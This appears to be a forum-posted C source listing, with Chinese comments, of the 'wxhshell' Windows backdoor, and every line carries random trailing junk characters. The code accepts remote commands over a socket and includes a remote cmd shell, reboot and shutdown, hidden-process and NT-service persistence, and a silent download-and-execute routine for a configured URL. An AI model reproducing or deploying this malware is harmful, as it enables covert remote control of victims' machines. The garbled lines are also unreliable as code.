  // 帮助 |'_<(z  
  case '?': { [rU8 #4.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 89mre;v`  
    break; )n@3@NV  
  } q(^J7M)  
  // 安装 i{qURP}.  
  case 'i': { !3# }ZC2  
    if(Install()) puF Z~WZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]{^vs'as\  
    else \l5:A]J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] i2\2MTW8  
    break; (=V[tI+Ngt  
    } A8GlE  
  // 卸载 >/bK?yT<  
  case 'r': { DjvgKy=Jr_  
    if(Uninstall()) B)8Hj).@B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vI}S6-"<  
    else k]pD3.QJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ped Yf{T  
    break; HYmXPpse  
    } hATy 3*4  
  // 显示 wxhshell 所在路径 |LH*)GrD*t  
  case 'p': { uf] $@6)  
    char svExeFile[MAX_PATH]; vyGLn  
    strcpy(svExeFile,"\n\r"); ,5*xE\9G  
      strcat(svExeFile,ExeFile); w[YbL2p  
        send(wsh,svExeFile,strlen(svExeFile),0); ygt)7f5  
    break; >]8.xkQq  
    } UROi.976D  
  // 重启 q.{/{9  
  case 'b': { i]%"s_l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t'x:fO?cp  
    if(Boot(REBOOT)) ZY$@_DOB}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Bsmn!_cB{  
    else { F*:NKT d  
    closesocket(wsh); I.1l  
    ExitThread(0); 5zna?(#}  
    } J5 ( D7rp#  
    break; @rE )xco  
    } w{EU9C  
  // 关机 B?Sfcq-  
  case 'd': { 1R9? [RE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -GVG1#5  
    if(Boot(SHUTDOWN)) HWOs@ !cL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [qMdOY%jx  
    else { ? 4Juw?  
    closesocket(wsh); 2_b'mepV  
    ExitThread(0); ~(^*?(Z  
    } G>>u#>0  
    break; =c^=Yvc7U  
    } WVK-dBU  
  // 获取shell l{m~d!w`a  
  case 's': { MPy][^s!  
    CmdShell(wsh); E9 q;>)}  
    closesocket(wsh); 0(9@GIT  
    ExitThread(0); <dPxy`_  
    break; $!C+i"q$  
  } cY'To<v  
  // 退出 4,ynt&  
  case 'x': { Ltd?#HP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8Flf,"a   
    CloseIt(wsh); l5]oS? >y  
    break; Er1u1@  
    } NVWeJ+w  
  // 离开 bMOM`At>z  
  case 'q': { |hQ|'VCN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w?W e|x3  
    closesocket(wsh); :P~& b P  
    WSACleanup(); H<7DcwXv  
    exit(1); Ilu`b|%D  
    break; ruA+1-<f  
        } 13_~)V  
  } bRz^=  
  } RXS|-_$  
h21(K}  
  // 提示信息 kDl4t]j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zbh]SF{3F  
} #_\MD,(  
  } *u;">H*BW  
W)msaq,  
  return; ~.9o{?pbG  
} HmB[oH "x  
*@n3>$  
// shell模块句柄 iZ6C8HK&&  
int CmdShell(SOCKET sock) 'L|GClc6)  
{ jl-Aos"/  
STARTUPINFO si; JBEgiQ/  
ZeroMemory(&si,sizeof(si)); W%9K5(e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zo7XmUI3P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t^_{5  
PROCESS_INFORMATION ProcessInfo; \i;&@Kp.N  
char cmdline[]="cmd"; 6`baQ!xc.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cm 9oG  
  return 0; 3 [)s;e  
} ;(0(8G  
^HlLj#  
// 自身启动模式 %*6oUb  
int StartFromService(void) ml33qXW:  
{ $:BK{,\  
typedef struct _[vdY|_  
{ Xtu`5p_Qv  
  DWORD ExitStatus; tGO[A#9a  
  DWORD PebBaseAddress; ^A "lkV7  
  DWORD AffinityMask; K l0tyeT  
  DWORD BasePriority; -wRyMY_ D  
  ULONG UniqueProcessId; Jt>[]g$  
  ULONG InheritedFromUniqueProcessId; P`3s\8[Q  
}   PROCESS_BASIC_INFORMATION; jo;uRl  
ZG/8Ds  
PROCNTQSIP NtQueryInformationProcess; ]%<Q:+38  
&e]]F#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ce5w0&VlS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hi3sOK*r;<  
;?L!1wklA  
  HANDLE             hProcess; M o"JV  
  PROCESS_BASIC_INFORMATION pbi; Jm (&G  
Q f+p0E;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }EedHS  
  if(NULL == hInst ) return 0; Ng'ZAG;O  
_L4<^Etfm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y( $Ji12  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @"{'j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5h|m4)$  
U.hERe ~X  
  if (!NtQueryInformationProcess) return 0; P7wqZ?  
>)n4s Mq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MB8SB   
  if(!hProcess) return 0; # NN"(I  
b%[ nB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WE.$at{*h  
y  KYP  
  CloseHandle(hProcess); iIGI=EwZ  
A`x -L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iJZ|[jEDV  
if(hProcess==NULL) return 0; JIP+ !2  
lLkmcHu  
HMODULE hMod; ||=[kjG~  
char procName[255]; Wm$`ae   
unsigned long cbNeeded; 6@?aVM~  
5w,Z7I8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G !1~i*P$u  
77xq/c[)  
  CloseHandle(hProcess); i[2bmd!H  
s^g.42?u  
if(strstr(procName,"services")) return 1; // 以服务启动 .L^pMU+!^  
bCA2ik  
  return 0; // 注册表启动 Xb=2/\}|f  
} # cN_y  
_)zmIB(}m  
// 主模块 ws>WA{]gq  
int StartWxhshell(LPSTR lpCmdLine) BSfm?ku"!  
{ tM^;?HL]  
  SOCKET wsl; *gd?>P7\0  
BOOL val=TRUE; <Qcex3  
  int port=0; )+n,5W  
  struct sockaddr_in door; JQ"`9RNb  
Xq,UV  
  if(wscfg.ws_autoins) Install(); BKC7kDK3H  
"?.'{,Q  
port=atoi(lpCmdLine); Q%& _On  
WxVn&c\  
if(port<=0) port=wscfg.ws_port; ':4}O#  
+}7Ea:K   
  WSADATA data; >bfYy=/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RIy5ww}3|  
s&dO/}3uR]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MX!u$ei  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VqK%^  
  door.sin_family = AF_INET; 8_a$kJJ2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %@}o'=[  
  door.sin_port = htons(port); %RQC9!  
x">W u2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <%d51~@={I  
closesocket(wsl); gDQkn {T.%  
return 1; .D8~)ZWN  
} eg"=H50  
aho'|%y)  
  if(listen(wsl,2) == INVALID_SOCKET) { cOSxg=~>u  
closesocket(wsl); eyeNrk*2o  
return 1; [G{rHSK5tQ  
} CM%|pB/z  
  Wxhshell(wsl); r}/yi  
  WSACleanup(); ;wij}y-6  
2;r]gT~  
return 0; \{c,,th  
_tWJXv~;  
} I1Hw"G"&  
FI]P<)*r  
// 以NT服务方式启动 DtzA$|Q}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {$EH@$./  
{ hLb;5u&!kW  
DWORD   status = 0; P?9nTG  
  DWORD   specificError = 0xfffffff; u0m5JD0/  
$%7I:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8tb6 gZz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yicO!:bM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )Y3EQxXa  
  serviceStatus.dwWin32ExitCode     = 0; ([:]T$0 #  
  serviceStatus.dwServiceSpecificExitCode = 0; t"<s}~  
  serviceStatus.dwCheckPoint       = 0; _W)`cr  
  serviceStatus.dwWaitHint       = 0; 4$yV%[j  
TZ?Os4+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g%`i=s&N%  
  if (hServiceStatusHandle==0) return; d"#gO,H0  
C%giv9a  
status = GetLastError(); Q)09]hP[Xj  
  if (status!=NO_ERROR) j*uXB^ 4  
{ )^4ko  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3gb|x?  
    serviceStatus.dwCheckPoint       = 0; J+Q+&-a  
    serviceStatus.dwWaitHint       = 0; P!kw;x  
    serviceStatus.dwWin32ExitCode     = status; lj .nCV_  
    serviceStatus.dwServiceSpecificExitCode = specificError; kTnOmA w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kf<c, 3A  
    return; CY34X2F  
  } ^vJ"-{  
7OB%A&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v#  
  serviceStatus.dwCheckPoint       = 0; v`y6y8:>  
  serviceStatus.dwWaitHint       = 0; 41u*w2j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1hl]W+9  
} B\\6#  
Lp_$?MCD.  
// 处理NT服务事件,比如:启动、停止 `/z_rqJ0CL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k@#5$Ejc2  
{ ,zQo {.  
switch(fdwControl) U1OFDXHG  
{ c\At0.QCA  
case SERVICE_CONTROL_STOP: AgIazv1  
  serviceStatus.dwWin32ExitCode = 0; ^NXcLEaP*<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6yY.!HRkr  
  serviceStatus.dwCheckPoint   = 0; ~@{w\%(AK]  
  serviceStatus.dwWaitHint     = 0; >DHp*$y  
  { dXmV@ Noo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ))!Bg?t-  
  } #Mh{<gk%ax  
  return; X*i/A<Y`=  
case SERVICE_CONTROL_PAUSE: t)` p@]j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m9Ax\lf  
  break; OFA{ KZga  
case SERVICE_CONTROL_CONTINUE:  3P1&;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~ |6dH  
  break; :M06 ;:e  
case SERVICE_CONTROL_INTERROGATE: (ab{F5  
  break; !BDUv(  
}; 2K;#Evn'j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eqq`TT#Z  
} *l{yW"Su  
g?B3!,!9  
// 标准应用程序主函数 MU'@2c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zF8'i=b&  
{ PocYFhWQ`  
qD#VbvRc9+  
// 获取操作系统版本 bp#:UUO%S  
OsIsNt=GetOsVer(); 2R]&v;A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J{`eLmTu  
!22yvT.;[  
  // 从命令行安装 SyO79e*t  
  if(strpbrk(lpCmdLine,"iI")) Install(); $$hv`HE^l  
~4\,&HH  
  // 下载执行文件 VU|;:  
if(wscfg.ws_downexe) { Wqra8u#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oBA`|yW{U  
  WinExec(wscfg.ws_filenam,SW_HIDE); D==Mb~  
} FXV`9uq}Z  
ZU^I H9  
if(!OsIsNt) { ~]BMrgn  
// 如果时win9x,隐藏进程并且设置为注册表启动 piOXo=9H.  
HideProc(); {^5?)/<  
StartWxhshell(lpCmdLine); @wp4 |G  
} Gih[i\%Q  
else _tAQ=eBO  
  if(StartFromService()) T$KF< =  
  // 以服务方式启动 C)Jn[/BD  
  StartServiceCtrlDispatcher(DispatchTable); ME^ ,'&  
else ubYG  
  // 普通方式启动 'xnnLCm.  
  StartWxhshell(lpCmdLine); X<]qU3k5  
XX6 T$pA6  
return 0; :~zv t  
}
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只看该作者 1 发表于: 2006-10-10
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